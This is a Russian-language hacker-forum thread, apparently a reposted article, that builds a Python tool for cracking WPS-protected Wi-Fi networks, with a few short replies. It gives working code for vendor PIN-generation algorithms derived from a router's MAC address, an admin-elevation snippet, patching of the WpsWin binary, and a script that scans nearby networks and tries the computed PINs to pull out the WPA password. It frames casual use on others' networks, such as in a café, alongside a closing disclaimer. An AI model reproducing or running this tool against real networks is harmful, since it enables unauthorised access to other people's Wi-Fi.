Загрузка...

Python для хакера: пишем утилиту для взлома Wi-Fi

Тема в разделе Wi-Fi создана пользователем DOMINUS_EDEM 9 июн 2019. 9883 просмотра

Загрузка...
  1. DOMINUS_EDEM
    DOMINUS_EDEM Автор темы 9 июн 2019 Идентификация электронных кошельков 36 7 мар 2018
    Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

    Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

    Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:

    • подбор ПИН-кода или ключа безопасности методом грубой силы;
    • использование уязвимостей реализации;
    • социальная инженерия;
    • использование слабостей генерации ПИН-кодов.
    В этой статье мы остановимся на последнем методе из списка.


    Откуда берут стандартный PIN

    Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.


    Генерация WPS PIN на примере

    Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа
    [IMG]

    Анализируем любым удобным способом (например, Dumpper).
    [IMG]
    Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях

    BSSID получен: C4:6E:1F:6A:8D:04.

    Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

    Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].

    Вот реализация этого алгоритма на Python

    Код
    from math import floor
    MAC = 'C46E1F6A8D04'
    One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000
    Var1 = 0
    while Two:
    Var1 += 3 * (Two % 10)
    Two = floor(Two / 10)
    Var1 += Two % 10
    Two = floor(Two / 10)
    Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10)
    Var3 = str(int(Var2))
    result = Var3.zfill(8)
    Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность
    [IMG]
    Полученный WPS PIN идентичен стандартному (заводскому)


    Подготовка и требования

    Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:

    • Windows 7 и выше;
    • Python 3 и выше;
    • удобная IDE;
    • любимый браузер;
    • личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
    • WpsWin (входит в состав того самого Dumpper);
    • IDA и Hex-Rays Tool.
    Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.


    Автозапуск с правами администратора

    Для автозапуска мы будем использовать следующий код:
    Код
    import ctypes, sys
    if ctypes.windll.shell32.IsUserAnAdmin():
    if __name__ == "__main__":
    main()
    else:
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.

    Разработка

    Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):
    Код
    from math import floor
    def checksum(mac):
    mac %= 10000000
    var = 0
    temp = mac
    while temp:
    var += 3 * (temp % 10)
    temp = floor(temp / 10)
    var += temp % 10
    temp = floor(temp / 10)
    return (mac * 10) + ((10 - (var % 10)) % 10)
    А также несколько функций генерации заветных ПИН-кодов.

    Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием
    Код
    def pin24(BSSID):
    temp = int(BSSID,16) & 0xFFFFFF
    temp = checksum(temp)
    temp = str(int(temp))
    return temp.zfill(8)

    def pinDLink(BSSID):
    temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
    temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)
    temp %= 10000000
    if temp < 1000000:
    temp += ((temp % 9) * 1000000) + 1000000
    temp = checksum(temp)
    temp = str(int(temp))
    return temp.zfill(8)

    def pinDLinkInc1(BSSID):
    temp = int(BSSID, 16) + 1
    return pinDLink(hex(temp))

    def pinASUS(BSSID):
    temp = format(int(BSSID, 16), '02x')
    temp = str(temp).zfill(12)
    var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
    int(temp[8:10], 16), int(temp[10:12], 16)]
    pin = []
    for i in range(7):
    pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
    temp = int(''.join(str(i) for i in pin))
    temp = checksum(temp)
    temp = str(int(temp))
    return temp.zfill(8)
     
  2. Keksikek
    каво и где кнопка Скачать
     
  3. LooLMika
    LooLMika 9 июн 2019 355 1 янв 2018
    "ПИШЕМ..." ни о чем не говорит?
     
  4. Donnerstag
    Donnerstag 9 июн 2019 304 12 фев 2019
    Интересная статья.Нужно будет попробовать.
     
  5. DimaFedor
    DimaFedor 9 июн 2019 602 12 окт 2018
    Эта паста ещё до динозавров была придумана. Та и кали линукс со своими утилитками получше будет.
     
  6. DOMINUS_EDEM
    DOMINUS_EDEM Автор темы 9 июн 2019 Идентификация электронных кошельков 36 7 мар 2018
    Немного реверса

    Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.

    Вот что нам необходимо проделать с исполняемым файлом:

    • найти передаваемые аргументы для взаимодействия через командную строку;
    • отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
    • пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.
    Первая нужная функция находится по адресу 0x004012A0
    [IMG]

    Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции
    [IMG]
    Ошибка при невозможности подключения к беспроводной точке доступа

    [IMG]
    Сообщение о некорректном ключе для подключения

    По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.

    Само значение передается аргументом второй, найденной нами функции
    [IMG]
    Долой длительное ожидание

    [IMG]
    Да здравствует маленький тайм-аут!

    Подключение по WPS
    Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат
    Код
    import subprocess
    import sys
    from time import sleep

    def run_command(cmd):
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    for LINE in iter(p.stdout.readline, b''):
    if LINE:
    yield LINE
    while p.poll() is None:
    sleep(.1)
    err = p.stderr.read()
    if p.returncode != 0:
    print ("" + err)

    def connect(ESSID, PIN):
    cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN))
    sleep(1)
    for LINE in run_command(cmd):
    LINE = LINE.decode('cp866')
    if "Asociacion fallida" in LINE:
    print ("Connection with %s hasn't been established!" % ESSID)
    return
    elif "Pin incorrecto" in LINE:
    print("Pin invalid!")
    return
    elif "Wpa Key" in LINE:
    print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n")
    print(LINE)
    sleep(5)
    input()
    sys.exit()
    К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим
    Код
    import re
    def main():
    network = 0
    results = run_command("netsh wlan show networks mode=bssid")
    results = [i for i in results]
    ssids = []
    bssids = []
    for line in results:
    line = line.decode('cp866')
    if "BSSID" in line:
    bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip())
    elif "SSID" in line:
    ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip())
    i = 0
    print ("Available wireless networks at the moment:\n")
    for j in ssids:
    i += 1
    print ("%d - %s" % (i, j))
    while (network == "") or (int(network) < 1) or (int(network) > i):
    print
    network = input("\nChoose the wireless network > ")
    network = int(network) - 1
    macbssid = bssids[network].upper()
    mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "")
    wifiname = ssids[network]
    Угадываем WPS PIN

    Еще несколько десятков кликов по клавиатуре, и код готов

    Код
     algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]
    for i in algos:
    pin = i(mac)
    print ("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname,i.__name__,pin))
    connect(wifiname,pin)
    sleep(3)
    Тестирование утилиты

    Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть.
    Профит!
    [IMG]
    Удивительно, но программа работает

    [IMG]
    Вознаграждение за труды

    Дополнительные фичи

    Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.
    1. Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
    2. Придумать иной способ получения списка беспроводных сетей.
    3. Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
    4. Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
    5. Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
    6. Добавить звуковое оповещение, когда будет найден верный ПИН-код.
    Выводы

    Что у нас есть по результатам:
    • +10 к интеллекту скиллу разработки средств автоматизированного тестирования;
    • небольшой список алгоритмов генерации ПИН-кодов;
    • работающая утилита тестирования слабостей генерации WPS PIN;
    • пароль от беспроводной сети.
    Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.


    Вся информация предоставлена исключительно в ознакомительных целях. Ни я, ни автор данной статьи не несёмт ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону!
    Автором статьи не являюсь.
     
  7. DanZom
    DanZom 24 июн 2019 <Я ТЕБЯ НЕ ЗВАЛ, ИДИ ОТСЮДА> 2 20 ноя 2018
    спосибо
     
Top